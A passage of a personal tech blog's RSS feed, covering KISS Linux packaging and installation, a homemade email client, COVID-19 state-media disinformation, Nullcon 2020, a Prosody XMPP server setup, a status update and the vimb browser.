726<div class="codehilite"><pre><span></span><code><span class="ch">#!/bin/sh -e</span>
727
728./configure <span class="se">\</span>
729 --prefix<span class="o">=</span>/usr
730
731make
732make <span class="nv">DESTDIR</span><span class="o">=</span><span class="s2">"</span><span class="nv">$1</span><span class="s2">"</span> install
733</code></pre></div>
734
735<p>The <code>version</code> file:</p>
736
737<pre><code>4.3.1 1
738</code></pre>
739
740<p>The <code>checksums</code> file (generated using <code>kiss checksum radare2</code>):</p>
741
742<pre><code>4abcb9c9dff24eab44d64d392e115ae774ab1ad90d04f2c983d96d7d7f9476aa 4.3.1.tar.gz
743</code></pre>
744
745<p>And finally, the <code>sources</code> file:</p>
746
747<pre><code>https://github.com/radareorg/radare2/archive/4.3.1.tar.gz
748</code></pre>
749
750<p>This is literally the bare minimum that you need to define a package.
751There’s also the <code>depends</code> file where you specify the dependencies for
752your package.
753<code>kiss</code> also generates a <code>manifests</code> file to track all the files and
754directories that your package creates during installation, for their
755removal, if and when that occurs. Now compare this process with any
756other distribution’s.</p>
757
758<h2 id="the-community">the community</h2>
759
760<p>As far as I know, it mostly consists of the <code>#kisslinux</code> channel on
761Freenode and the <a href="https://old.reddit.com/r/kisslinux">r/kisslinux</a>
762subreddit. It’s not that big, but it’s suprisingly active, and super
763helpful. There have been some interested new KISS-related projects
764too: <a href="https://github.com/sdsddsd1/kiss-games">kiss-games</a>—a repository
765for, well, Linux games; <a href="https://github.com/jedavies-dev/kiss-ppc64le">kiss-ppc64le</a>
766and <a href="https://github.com/jedavies-dev/kiss-aarch64">kiss-aarch64</a>—KISS
767Linux ports for PowerPC and ARM64 architectures;
768<a href="https://github.com/wyvertux/wyvertux">wyvertux</a>—an attempt at
769a GNU-free Linux distribution, using KISS as a base; and tons more.</p>
770
771<h2 id="the-philosophy">the philosophy</h2>
772
773<p>Software today is far too complex. And its complexity is only growing.
774Some might argue that this is inevitable, and it is in fact progress.
775I disagree. Blindly adding layers and layers of abstraction (Docker,
776modern web “apps") isn’t progress. Look at the Linux desktop ecosystem
777today, for example—monstrosities like GNOME and KDE are a result of
778this…new wave software engineering.</p>
779
780<p>I see KISS as a symbol of defiance against this malformed notion. You
781don’t <em>need</em> all the bloat these DEs ship with to have a usable system.
782Agreed, it’s a bit more effort to get up and running, but it is entirely
783worth it. Think of it as a clean table—feels good to sit down and work on,
784doesn’t it? </p>
785
786<p>Let’s take my own experience, for example. One of the initial few
787software I used to install on a new system was <code>dunst</code>—a notification
788daemon. Unfortunately, it depends on D-Bus, which is Poetterware; ergo,
789not on KISS. However, using a system without notifications has been very
790pleasant. Nothing to distract you while you’re in the zone.</p>
791
792<p>Another instance, again involving D-Bus (or not), is Bluetooth audio. As
793it happens, my laptop’s 3.5mm jack is rekt, and I need to use Bluetooth
794for audio, if at all. Sadly, Bluetooth audio on Linux hard-depends on
795D-Bus. Bluetooth stacks that don’t rely on D-Bus do exist, like on Android,
796but porting them over to desktop is non-trivial. However, I used this to
797my advantage and decided not to consume media on my laptop. This has
798drastically boosted my productivity, since I literally cannot watch
799YouTube even if I wanted to. My laptop is now strictly work-only.
800If I do need to watch the occasional video / listen to music, I use my
801phone. Compartmentalizing work and play to separate devices has worked
802out pretty well for me.</p>
803
804<p>I’m slowly noticing myself favor low-tech (or no-tech) solutions to
805simple problems too. Like notetaking—I’ve tried plaintext files, Vim
806Wiki, Markdown, but nothing beats actually using pen and paper. Tech,
807from what I can see, doesn’t solve problems very effectively. In some
808cases, it only causes more of them. I might write another post
809discussing my thoughts on this in further detail. </p>
810
811<p>I’m not sure what I intended this post to be, but I’m pretty happy with
812the mindspill. To conclude this already long monologue, let me clarify
813one little thing y’all are probably thinking, “Okay man, are you
814suggesting that we regress to the Dark Ages?”. No, I’m not suggesting
815that we regress, but rather, progress mindfully.</p>
816
817<div class="footnotes">
818<hr />
819<ol>
820<li id="fn-bringing-up-kiss">
821<p>No, I don’t go “I use KISS btw”. I don’t bring it
822up unless provoked. <a href="#fnref-bringing-up-kiss" class="footnoteBackLink" title="Jump back to footnote 1 in the text.">↩</a></p>
823</li>
824</ol>
825</div>
826]]></description><link>https://icyphox.sh/blog/kiss-zen</link><pubDate>Fri, 03 Apr 2020 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/kiss-zen</guid></item><item><title>Introducing mael</title><description><![CDATA[<p><strong>Update</strong>: The code lives here: <a href="https://github.com/icyphox/mael">https://github.com/icyphox/mael</a></p>
827
828<p>I’ve been on the lookout for a good terminal-based email client since
829forever, and I’ve tried almost all of them. The one I use right now
830sucks a little less—<a href="https://git.sr.ht/~sircmpwn/aerc">aerc</a>. I have
831some gripes with it though, like the problem with outgoing emails not
832getting copied to the Sent folder, and instead erroring out with
833a cryptic <code>EOF</code>—that’s literally all it says.
834I’ve tried mutt, but I find it a little excessive. It feels like the
835weechat of email—to many features that you’ll probably never use.</p>
836
837<p>I need something clean and simple, less bloated (for the lack of
838a better term). This is what motivated me to try writing my own. The
839result of this (and not to mention, being holed up at home with nothing
840better to do), is <strong>mael</strong>.<sup class="footnote-ref" id="fnref-oss"><a href="#fn-oss">1</a></sup></p>
841
842<p>mael isn’t like your usual TUI clients. I envision this to turn out
843similar to mailx—a prompt-based UI. The reason behind this UX decision
844is simple: it’s easier for me to write. :)</p>
845
846<p>Speaking of writing it, it’s being written in a mix of Python and bash.
847Why? Because Python’s <code>email</code> and <code>mailbox</code> modules are fantastic, and
848I don’t think I want to parse Maildirs in bash. “But why not pure
849Python?” Well, I’m going to be shelling out a lot (more on this in a bit),
850and writing interactive UIs in bash is a lot more intuitive, thanks to
851some of the nifty features that later versions of bash have—<code>read</code>,
852<code>mapfile</code> etc.</p>
853
854<p>The reason I’m shelling out is because two key components to this
855client, that I haven’t yet talked about—<code>mbsync</code> and <code>msmtp</code> are in
856use, for IMAP and SMTP respectively. And <code>mbsync</code> uses the Maildir
857format, which is why I’m relying on Python’s <code>mailbox</code> package. Why is
858this in the standard library anyway?!</p>
859
860<p>The architecture of the client is pretty interesting (and possibly very
861stupid), but here’s what happens:</p>
862
863<ul>
864<li>UI and prompt stuff in bash</li>
865<li>emails are read using <code>less</code></li>
866<li>email templates (RFC 2822) are parsed and generated in Python</li>
867<li>this is sent to bash in STDOUT, like</li>
868</ul>
869
870<div class="codehilite"><pre><span></span><code><span class="nv">msg</span><span class="o">=</span><span class="s2">"</span><span class="k">$(</span>./mael-parser <span class="s2">"</span><span class="nv">$maildir_message_path</span><span class="s2">"</span><span class="k">)</span><span class="s2">"</span>
871</code></pre></div>
872
873<p>These kind of one-way (bash -> Python) calls are what drive the entire
874process. I’m not sure what to think of it. Perhaps I might just give up
875and write the entire thing in Python.
876Or…I might just scrap this entirely and just shut up and use aerc.
877I don’t know yet. The code does seem to be growing in size rapidly. It’s
878about ~350 LOC in two days of writing (Python + bash). New problems
879arise every now and then and it’s pretty hard to keep track of all of
880this. It’ll be cool when it’s all done though (I think).</p>
881
882<p>If only things just worked.</p>
883
884<div class="footnotes">
885<hr />
886<ol>
887<li id="fn-oss">
888<p>I have yet to open source it; this post will be updated with
889a link to it when I do. <a href="#fnref-oss" class="footnoteBackLink" title="Jump back to footnote 1 in the text.">↩</a></p>
890</li>
891</ol>
892</div>
893]]></description><link>https://icyphox.sh/blog/mael</link><pubDate>Sun, 29 Mar 2020 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/mael</guid></item><item><title>COVID-19 disinformation</title><description><![CDATA[<p>The virus spreads around the world, along with a bunch of disinformation
894and potential malware / phishing campaigns. There are many actors,
895pushing many narratives—some similar, some different. </p>
896
897<p>Interestingly, the three big players in the information warfare
898space—Russia, Iran and China seem to be running similar stories on
899their state-backed media outlets. While they all tend to lean towards
900the same, fairly anti-U.S. sentiments—that is, blaming the US for
901weaponizing the crisis for political gain—Iran and Russia’s content
902come off as more…conspiratorial.
903In essence, they claim that the COVID-19 virus is a “bioweapon”
904developed by the U.S.</p>
905
906<p>Russian news agency
907<a href="https://twitter.com/RT_com/status/1233187558793924608">RT tweeted</a>:</p>
908
909<blockquote>
910 <p>Show of hands, who isn’t going to be surprised if it ever gets
911 revealed that #coronavirus is a bioweapon?</p>
912</blockquote>
913
914<p>RT also published
915<a href="https://www.rt.com/usa/481485-coronavirus-russia-state-department/">an article</a>
916mocking the U.S. for concerns over Russian disinformation.
917Another article by RT,
918<a href="https://www.rt.com/op-ed/481831-coronavirus-kill-bill-capitalism-communism/">an op-ed</a>
919suggests the virus’ impact on financial markets might bring about the
920reinvention of communism and the end of the global capitalist system.
921Russian state-sponsored media can also be seen amplifying Iranian
922conspiracy theories—including the Islamic Revolutionary Guard Corps’
923(IRGC) suggestion that COVID-19
924<a href="https://www.rt.com/news/482405-iran-coronavirus-us-biological-weapon/">is a U.S. bioweapon</a>.</p>
925
926<p>Iranian media outlets appear to be running stories having similar
927themese, as well. Here’s one
928<a href="https://www.presstv.com/Detail/2020/03/05/620217/US-coronavirus-James-Henry-Fetzer">by PressTV</a>,
929where they very boldly claim that the virus was developed by
930the U.S. and/or Isreal, to use as a bioweapon against Iran. Another
931<a href="https://www.presstv.com/Detail/2020/03/05/620213/Coronavirus-was-produced-in-a-laboratory">nonsensical piece</a>
932by PressTV suggests that
933“there are components of the virus that are related to HIV that could not have occurred naturally”.
934The same article pushes another theory:</p>
935
936<blockquote>
937 <p>There has been some speculation that as the Trump Administration has
938 been constantly raising the issue of growing Chinese global
939 competitiveness as a direct threat to American national security and
940 economic dominance, it might be possible that Washington has created
941 and unleashed the virus in a bid to bring Beijing’s growing economy
942 and military might down a few notches. It is, to be sure, hard to
943 believe that even the Trump White House would do something so
944 reckless, but there are precedents for that type of behavior</p>
945</blockquote>
946
947<p>These “theories”, as is evident, are getting wilder and wilder.</p>
948
949<p>Unsurprisingly, China produces the most amount of content related to the
950coronavirus, but they’re quite distinct in comparison to Russian and
951Iranian media. The general theme behind Chinese narratives is
952critisizing the West for…a lot of things.</p>
953
954<p>Global Times claims that
955<a href="http://www.globaltimes.cn/content/1178494.shtml">democracy is an insufficient system</a>
956to battle the coronavirus. They <a href="http://www.globaltimes.cn/content/1178494.shtml">blame the U.S.</a>
957for unfair media coverage against China, and other <a href="http://www.globaltimes.cn/content/1180630.shtml">anti-China
958narratives</a>.
959There are a ton other articles that play the racism/discrimination
960card—I wouldn’t blame them though. <a href="http://www.globaltimes.cn/content/1178465.shtml">Here’s one</a>.</p>
961
962<p>In the case of India, most disinfo (actually, misinfo) is mostly just
963pseudoscientific / alternative medicine / cures in the form of WhatsApp
964forwards—“Eat foo! Eat bar!”.<sup class="footnote-ref" id="fnref-cowpiss"><a href="#fn-cowpiss">1</a></sup></p>
965
966<p>I’ve also been noticing a <em>ton</em> of COVID-19 / coronavirus related domain
967registrations happening. Expect phishing and malware campaigns using the
968virus as a theme. In the past 24 hrs, ~450 <code>.com</code> domains alone were
969registered.</p>
970
971<p><img src="/static/img/corona_domains.png" alt="corona domains" /></p>
972
973<p>Anywho, there are bigger problems at hand—like the fact that my uni
974still hasn’t suspended classes!</p>
975
976<div class="footnotes">
977<hr />
978<ol>
979<li id="fn-cowpiss">
980<p><a href="https://www.thehindu.com/news/national/coronavirus-group-hosts-cow-urine-party-says-covid-19-due-to-meat-eaters/article31070516.ece">https://www.thehindu.com/news/national/coronavirus-group-hosts-cow-urine-party-says-covid-19-due-to-meat-eaters/article31070516.ece</a> <a href="#fnref-cowpiss" class="footnoteBackLink" title="Jump back to footnote 1 in the text.">↩</a></p>
981</li>
982</ol>
983</div>
984]]></description><link>https://icyphox.sh/blog/covid19-disinfo</link><pubDate>Sun, 15 Mar 2020 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/covid19-disinfo</guid></item><item><title>Nullcon 2020</title><description><![CDATA[<p><strong>Disclaimer</strong>: Political.</p>
985
986<p>This year’s conference was at the Taj Hotel and Convention center, Dona
987Paula, and its associated party at Cidade de Goa, also by Taj.
988Great choice of venue, perhaps even better than last time. The food was
989fine, the views were better.</p>
990
991<p>With <em>those</em> things out of the way—let’s talk talks. I think
992I preferred the panels to the talks—I enjoy a good, stimulating
993discussion as opposed to only half-understanding a deeply technical
994talk—but that’s just me. But there was this one talk that I really
995enjoyed, perhaps due to its unintended comedic value; I’ll get into that
996later.</p>
997
998<p>The list of panels/talks I attended in order:</p>
999
1000<p><strong>Day 1</strong></p>
1001
1002<ul>
1003<li>Keynote: The Metadata Trap by Micah Lee (Talk)</li>
1004<li>Securing the Human Factor (Panel)</li>
1005<li>Predicting Danger: Building the Ideal Threat Intelligence Model (Panel)</li>
1006<li>Lessons from the Cyber Trenches (Panel)</li>
1007<li>Mlw 41#: a new sophisticated loader by APT group TA505 by Alexey Vishnyakov (Talk)</li>
1008<li>Taking the guess out of Glitching by Adam Laurie (Talk)</li>
1009<li>Keynote: Cybersecurity in India—Information Assymetry, Cross Border
1010Threats and National Sovereignty by Saumil Shah (Talk)</li>
1011</ul>
1012
1013<p><strong>Day 2</strong></p>
1014
1015<ul>
1016<li>Keynote: Crouching hacker, killer robot? Removing fear from
1017cyber-physical security by Stefano Zanero (Talk)</li>
1018<li>Supply Chain Security in Critical Infrastructure Systems (Panel)</li>
1019<li>Putting it all together: building an iOS jailbreak from scratch by
1020Umang Raghuvanshi (Talk)</li>
1021<li>Hack the Law: Protection for Ethical Cyber Security Research in India
1022(Panel)</li>
1023</ul>
1024
1025<h2 id="re-closing-keynote">Re: Closing keynote</h2>
1026
1027<p>I wish I could link the talk, but it hasn’t been uploaded just yet. I’ll
1028do it once it has. So, I’ve a few comments I’d like to make on some of
1029Saumil’s statements.</p>
1030
1031<p>He proposed that the security industry trust the user more, and let them
1032make the decisions pertaining to personal security / privacy.
1033Except…that’s just not going to happen. If all users were capable
1034of making good, security-first choices—we as an industry don’t
1035need to exist. But that is unfortunately not the case.
1036Users are dumb. They value convenience and immediacy over
1037security. That’s the sad truth of the modern age.</p>
1038
1039<p>Another thing he proposed was that the Indian Government build our own
1040“Military Grade” and “Consumer Grade” encryption.</p>
1041
1042<p><em>…what?</em></p>
1043
1044<p>A “security professional” suggesting that we roll our own crypto? What
1045even. Oh and, to top it off—when
1046<a href="https://twitter.com/tame_wildcard">Raman</a>, very rightly countered
1047saying that the biggest opponent to encryption <em>is</em> the Government, and
1048trusting them to build safe cryptosystems is probably not wise, he
1049responded by saying something to the effect of “Eh, who cares? If they
1050want to backdoor it, let them.” </p>
1051
1052<p>Bruh moment.</p>
1053
1054<p>He also had some interesting things to say about countering
1055disinformation. He said, and I quote “Join the STFU University”.</p>
1056
1057<p>¿wat? Is that your best solution? </p>
1058
1059<p>Judging by his profile, and certain other things he said in the talk, it
1060is safe to conclude that his ideals are fairly…nationalistic. I’m not
1061one to police political opinions, I couldn’t care less which way you
1062lean, but the statements made in the talk were straight up
1063incorrect.</p>
1064
1065<h2 id="closing-thoughts">Closing thoughts</h2>
1066
1067<p>This came out more rant-like than I’d intended. It is also the first
1068blog post where I dip my toes into politics. I’ve some thoughts on more
1069controversial topics for my next entry. That’ll be fun, especially when
1070my follower count starts dropping. LULW.</p>
1071
1072<p>Saumil, if you ever end up reading this, note that this is not
1073a personal attack. I think you’re a cool guy.</p>
1074
1075<p>Note to the Nullcon organizers: you guys did a fantastic job running the
1076conference despite Corona-chan’s best efforts. I’d like to suggest one
1077little thing though—please VET YOUR SPEAKERS more!</p>
1078
1079<p><img src="/static/img/nullcon_beach.jpg" alt="group pic" /></p>
1080]]></description><link>https://icyphox.sh/blog/nullcon-2020</link><pubDate>Mon, 09 Mar 2020 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/nullcon-2020</guid></item><item><title>Setting up Prosody for XMPP</title><description><![CDATA[<p>Remember the <a href="/blog/irc-for-dms/">IRC for DMs</a> article I wrote a while
1081back? Well…it’s safe to say that IRC didn’t hold up too well. It first
1082started with the bot. Buggy code, crashed a lot—we eventually gave up
1083and didn’t bring the bot back up. Then came the notifications, or lack
1084thereof. Revolution IRC has a bug where your custom notification rules
1085just get ignored after a while. In my case, this meant that
1086notifications for <code>#crimson</code> stopped entirely. Unless, of course, Nerdy
1087pinged me each time.</p>
1088
1089<p>Again, none of these problems are inherent to IRC itself. IRC is
1090fantastic, but perhaps wasn’t the best fit for our usecase. I still do
1091use IRC though, just not for 1-on-1 conversations.</p>
1092
1093<h2 id="why-xmpp">Why XMPP?</h2>
1094
1095<p>For one, it’s better suited for 1-on-1 conversations. It also has
1096support for end-to-end encryption (via OMEMO), something IRC doesn’t
1097have.<sup class="footnote-ref" id="fnref-otr"><a href="#fn-otr">1</a></sup> Also, it isn’t centralized (think: email).</p>
1098
1099<h2 id="soprosody">So…Prosody</h2>
1100
1101<p><a href="https://prosody.im">Prosody</a> is an XMPP server. Why did I choose this
1102over ejabberd, OpenFire, etc.? No reason, really. Their website looked
1103cool, I guess.</p>
1104
1105<h3 id="installing">Installing</h3>
1106
1107<p>Setting it up was pretty painless (I’ve <a href="/blog/mailserver">experienced
1108worse</a>). If you’re on a Debian-derived system, add:</p>
1109
1110<pre><code># modify according to your distro
1111deb https://packages.prosody.im/debian buster main
1112</code></pre>
1113
1114<p>to your <code>/etc/apt/sources.list</code>, and:</p>
1115
1116<pre><code># apt update
1117# apt install prosody
1118</code></pre>
1119
1120<h3 id="configuring">Configuring</h3>
1121
1122<p>Once installed, you will find the config file at
1123<code>/etc/prosody/prosody.cfg.lua</code>. Add your XMPP user (we will make this
1124later), to the <code>admins = {}</code> line.</p>
1125
1126<pre><code>admins = {"user@chat.example.com"}
1127</code></pre>
1128
1129<p>Head to the <code>modules_enabled</code> section, and add this to it:</p>
1130
1131<pre><code>modules_enabled = {
1132 "posix";
1133 "omemo_all_access";
1134...
1135 -- uncomment these
1136 "groups";
1137 "mam";
1138 -- and any others you think you may need
1139}
1140</code></pre>
1141
1142<p>We will install the <code>omemo_all_access</code> module later.</p>
1143
1144<p>Set <code>c2s_require_encryption</code>, <code>s2s_require_encryption</code>, and
1145<code>s2s_secure_auth</code> to <code>true</code>.
1146Set the <code>pidfile</code> to <code>/tmp/prosody.pid</code> (or just leave it as default?).</p>
1147
1148<p>By default, Prosody stores passwords in plain-text, so fix that by
1149setting <code>authentication</code> to <code>"internal_hashed"</code></p>
1150
1151<p>Head to the <code>VirtualHost</code> section, and add your vhost. Right above it,
1152set the path to the HTTPS certificate and key:</p>
1153
1154<pre><code>certificates = "certs" -- relative to your config file location
1155https_certificate = "certs/chat.example.com.crt"
1156https_key = "certs/chat.example.com.key"
1157...
1158
1159VirtualHost "chat.example.com"
1160</code></pre>
1161
1162<p>I generated these certs using Let’s Encrypt’s <code>certbot</code>, you can use
1163whatever. Here’s what I did:</p>
1164
1165<pre><code># certbot --nginx -d chat.example.com
1166</code></pre>
1167
1168<p>This generates certs at <code>/etc/letsencrypt/live/chat.example.com/</code>. You can
1169trivially import these certs into Prosody’s <code>/etc/prosody/certs/</code> directory using:</p>
1170
1171<pre><code># prosodyctl cert import /etc/letsencrypt/live/chat.example.com
1172</code></pre>
1173
1174<h3 id="plugins">Plugins</h3>
1175
1176<p>All the modules for Prosody can be <code>hg clone</code>’d from
1177<a href="https://hg.prosody.im/prosody-modules.">https://hg.prosody.im/prosody-modules.</a> You will, obviously, need
1178Mercurial installed for this.</p>
1179
1180<p>Clone it somewhere, and: </p>
1181
1182<pre><code># cp -R prosody-modules/mod_omemo_all_access /usr/lib/prosody/modules
1183</code></pre>
1184
1185<p>Do the same thing for whatever other module you choose to install. Don’t
1186forget to add it to the <code>modules_enabled</code> section in the config.</p>
1187
1188<h3 id="adding-users">Adding users</h3>
1189
1190<p><code>prosodyctl</code> makes this a fairly simple task:</p>
1191
1192<pre><code>$ prosodyctl adduser user@chat.example.com
1193</code></pre>
1194
1195<p>You will be prompted for a password. You can optionally, enable
1196user registrations from XMPP/Jabber clients (security risk!), by setting
1197<code>allow_registration = true</code>.</p>
1198
1199<p>I may have missed something important, so here’s <a href="https://x.icyphox.sh/prosody.cfg.lua">my
1200config</a> for reference.</p>
1201
1202<h2 id="closing-notes">Closing notes</h2>
1203
1204<p>That’s pretty much all you need for 1-on-1 E2EE chats. I don’t know much
1205about group chats just yet—trying to create a group in Conversations
1206gives a “No group chat server found”. I will figure it out later.</p>
1207
1208<p>Another thing that doesn’t work in Conversations is adding an account
1209using an <code>SRV</code> record.<sup class="footnote-ref" id="fnref-srv"><a href="#fn-srv">2</a></sup> Which kinda sucks, because having a <code>chat.</code>
1210subdomain isn’t very clean, but whatever.</p>
1211
1212<p>Oh, also—you can message me at
1213<a href="xmpp:icy@chat.icyphox.sh">icy@chat.icyphox.sh</a>.</p>
1214
1215<div class="footnotes">
1216<hr />
1217<ol>
1218<li id="fn-otr">
1219<p>I’m told IRC supports OTR, but I haven’t ever tried. <a href="#fnref-otr" class="footnoteBackLink" title="Jump back to footnote 1 in the text.">↩</a></p>
1220</li>
1221
1222<li id="fn-srv">
1223<p><a href="https://prosody.im/doc/dns">https://prosody.im/doc/dns</a> <a href="#fnref-srv" class="footnoteBackLink" title="Jump back to footnote 2 in the text.">↩</a></p>
1224</li>
1225</ol>
1226</div>
1227]]></description><link>https://icyphox.sh/blog/prosody</link><pubDate>Tue, 18 Feb 2020 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/prosody</guid></item><item><title>Status update</title><description><![CDATA[<p>It’s only been a two weeks since I got back to campus, and we’ve
1228<em>already</em> got our first round of cycle tests starting this Tuesday.
1229Granted, I returned a week late, but…that’s nuts!</p>
1230
1231<p>We’re two whole weeks into 2020; I should’ve been working on something
1232status update worthy, right? Not really, but we’ll see.</p>
1233
1234<h2 id="no-more-cloudflare">No more Cloudflare!</h2>
1235
1236<p>Yep. If you weren’t aware—pre-2020 this site was behind Cloudflare
1237SSL and their DNS. I have since migrated off it to
1238<a href="https://he.net">he.net</a>, thanks to highly upvoted Lobste.rs comment.
1239Because of this switch, I infact, learnt a ton about DNS.</p>
1240
1241<p>Migrating to HE was very painless, but I did have to research a lot
1242about PTR records—Cloudflare kinda dumbs it down. In my case, I had to
1243rename my DigitalOcean VPS instance to the FQDN, which then
1244automagically created a PTR record at DO’s end.</p>
1245
1246<h2 id="i-dropped-icyrc">I dropped icyrc</h2>
1247
1248<p>The IRC client I was working on during the end of last
1249December--early-January? Yeah, I lost interest. Apparently writing C and
1250ncurses isn’t very fun or stimulating.</p>
1251
1252<p>This also means I’m back on weechat. Until I find another client that
1253plays well with ZNC, that is.</p>
1254
1255<h2 id="kiss-stuff">KISS stuff</h2>
1256
1257<p>I now maintain two new packages in the KISS community repository—2bwm
1258and aerc! The KISS package system is stupid simple to work with. Creating
1259packages has never been easier.</p>
1260
1261<h2 id="icyphoxshfriendsfriends"><a href="/friends">icyphox.sh/friends</a></h2>
1262
1263<p>Did you notice that yet? I’ve been curating a list of people I know IRL
1264and online, and linking to their online presence. This is like a webring
1265of sorts, and promotes inter-site traffic—making the web more “web”
1266again.</p>
1267
1268<p>If you know me, feel free to <a href="/about#contact">hit me up</a> and I’ll link
1269your site too! My apologies if I’ve forgotten your name.</p>
1270
1271<h2 id="patreon">Patreon!</h2>
1272
1273<p>Is this big news? I dunno, but yes—I now have a Patreon. I figured I’d
1274cash in on the newfound traffic my site’s been getting. There won’t be
1275any exclusive content or any tiers or whatever. Nothing will change.
1276Just a place for y’all to toss me some $$$ if you wish to do so. ;)</p>
1277
1278<p>Oh, and it’s at <a href="https://patreon.com/icyphox">patreon.com/icyphox</a>.</p>
1279
1280<h2 id="misc">Misc.</h2>
1281
1282<p>The Stormlight Archive is likely the <em>best</em> epic I have ever read till
1283date. I’m still not done yet; about 500 odd pages to go as of this
1284writing. But wow, Brandon really does know how to build worlds and magic
1285systems. I cannot wait to read all about the
1286<a href="https://coppermind.net/wiki/Cosmere">cosmere</a>.</p>
1287
1288<p>I have also been working out for the past month or so. I can see them
1289gainzzz. I plan to keep track of my progress, I just don’t know how to
1290quantify it. Perhaps I’ll log the number of reps × sets I do each time,
1291and with what weights. I can then look back to see if either the weights
1292have increased since, or the number of reps × sets have. If you know of
1293a better way to quantify progress, let me know! I’m pretty new to this.</p>
1294]]></description><link>https://icyphox.sh/blog/2020-01-18</link><pubDate>Sat, 18 Jan 2020 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/2020-01-18</guid></item><item><title>Vimb&#58; my Firefox replacement</title><description><![CDATA[<p>After having recently installed <a href="https://getkiss.org">KISS</a>, and
1295building Firefox from source, I was exposed to the true monstrosity that
1296Firefox—and web browsers in general---is. It took all of 9 hours to
1297build the dependencies and then Firefox itself.</p>
1298
1299<p>Sure, KISS now ships Firefox binaries in the
1300<a href="https://github.com/kisslinux/repo/tree/master/extra/firefox-bin">firefox-bin</a>
1301package; I decided to get rid of that slow mess anyway.</p>
1302
1303<h2 id="enter-vimb">Enter vimb</h2>
1304
1305<p><a href="https://fanglingsu.github.io/vimb/">vimb</a> is a browser based on
1306<a href="https://webkitgtk.org/">webkit2gtk</a>, with a Vim-like interface.
1307<code>webkit2gtk</code> builds in less than a minute—it blows Firefox out of
1308the water, on that front.</p>
1309
1310<p>There isn’t much of a UI to it—if you’ve used Vimperator/Pentadactyl
1311(Firefox plugins), vimb should look familiar to you.
1312It can be configured via a <code>config.h</code> or a text based config file at
1313<code>~/.config/vimb/config</code>.
1314Each “tab” opens a new instance of vimb, in a new window but this can
1315get messy really fast if you have a lot of tabs open.</p>
1316
1317<h2 id="enter-tabbed">Enter tabbed</h2>
1318
1319<p><a href="https://tools.suckless.org/tabbed/">tabbed</a> is a tool to <em>embed</em> X apps
1320which support xembed into a tabbed UI. This can be used in conjunction
1321with vimb, like so:</p>
1322
1323<pre><code>tabbed vimb -e
1324</code></pre>
1325
1326<p>Where the <code>-e</code> flag is populated with the <code>XID</code>, by tabbed. Configuring
1327Firefox-esque keybinds in tabbed’s <code>config.h</code> is relatively easy. Once
1328that’s done—voilà! A fairly sane, Vim-like browsing experience that’s
1329faster and has a smaller footprint than Firefox.</p>
1330
1331<h2 id="ad-blocking">Ad blocking</h2>
1332
1333<p>Ad blocking support isn’t built-in and there is no plugin system
1334available. There are two options for ad blocking:</p>
1335
1336<ol>
1337<li><a href="https://github.com/jun7/wyebadblock">wyebadblock</a></li>
1338<li><code>/etc/hosts</code></li>
1339</ol>
1340
1341<h2 id="caveats">Caveats</h2>
1342
1343<p><em>Some</em> websites tend to not work because they detect vimb as an older
1344version of Safari (same web engine). This is a minor inconvenience, and
1345not a dealbreaker for me. I also cannot login to Google’s services for
1346some reason, which is mildly annoying, but it’s good in a way—I am now
1347further incentivised to dispose of my Google account.</p>
1348
1349<p>And here’s the screenshot y’all were waiting for:</p>
1350
1351<p><img src="/static/img/vimb.png" alt="vimb" /></p>
1352]]></description><link>https://icyphox.sh/blog/mnml-browsing</link><pubDate>Thu, 16 Jan 2020 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/mnml-browsing</guid></item><item><title>Five days in a TTY</title><description><![CDATA[<p>This new semester has been pretty easy on me, so far. I hardly every
1353have any classes (again, so far), and I’ve a ton of free time on my
1354hands. This calls for—yep---a distro hop! </p>
1355
1356<h2 id="why-kiss">Why KISS?</h2>
1357
1358<p><a href="https://getkiss.org">KISS</a> has been making rounds on the interwebz lately.<sup class="footnote-ref" id="fnref-hn"><a href="#fn-hn">1</a></sup>
1359The Hacker News post spurred <em>quite</em> the discussion. But then again,
1360that is to be expected from Valleybros who use macOS all day. :^)</p>
1361
1362<p>From the website,</p>
1363
1364<blockquote>
1365 <p>An independent Linux® distribution with a focus on simplicity and the
1366 concept of “less is more”. The distribution targets <em>only</em> the x86-64
1367 architecture and the English language.</p>
1368</blockquote>
1369
1370<p>Like many people did in the HN thread, “simplicity” here is not to be
1371confused with “ease”. It is instead, simplicity in terms of lesser and
1372cleaner code—no
1373<a href="https://www.urbandictionary.com/define.php?term=poetterware">Poetterware</a>.</p>
1374
1375<p>This, I can get behind. A clean system with less code is like a clean
1376table. It’s nice to work on. It also implies security to a certain
1377extent since there’s a smaller attack surface. </p>
1378
1379<p>The <a href="https://github.com/kisslinux/kiss"><code>kiss</code></a> package manager is written
1380is pure POSIX sh, and does <em>just enough</em>. Packages are compiled from
1381source and <code>kiss</code> automatically performs dependency resolution. Creating
1382packages is ridiculously easy too.</p>
1383
1384<p>Speaking of packages, all packages—both official & community
1385repos—are run through <code>shellcheck</code> before getting merged. This is
1386awesome; I don’t think this is done in any other distro.</p>
1387
1388<p>In essence, KISS sucks less.</p>
1389
1390<h2 id="installing-kiss">Installing KISS</h2>
1391
1392<p>The <a href="https://getkiss.org/pages/install">install guide</a> is very easy to
1393follow. Clear instructions that make it hard to screw up; that didn’t
1394stop me from doing so, however.</p>
1395
1396<h3 id="day-1">Day 1</h3>
1397
1398<p>Although technically not in a TTY, it was still not <em>in</em> the KISS
1399system—I’ll count it. I’d compiled the kernel in the chroot and
1400decided to use <code>efibootmgr</code> instead of GRUB. <code>efibootmgr</code> is a neat tool
1401to modify the Intel Extensible Firmware Interface (EFI). Essentially,
1402you boot the <code>.efi</code> directly as opposed to choosing which boot entry
1403you want to boot, through GRUB. Useful if you have just one OS on the
1404system. Removes one layer of abstraction.</p>
1405
1406<p>Adding a new EFI entry is pretty easy. For me, the command was:</p>
1407
1408<pre><code>efibootmgr --create
1409 --disk /dev/nvme0n1 \
1410 --part 1 \
1411 --label KISS Linux \
1412 --loader /vmlinuz
1413 --unicode 'root=/dev/nvme0n1p3 rw' # kernel parameters
1414</code></pre>
1415
1416<p>Mind you, this didn’t work the first time, or the second, or the
1417third … a bunch of trial and error (and asking on <code>#kisslinux</code>)
1418later, it worked.</p>
1419
1420<p>Well, it booted, but not into KISS. Took a while to figure out that the
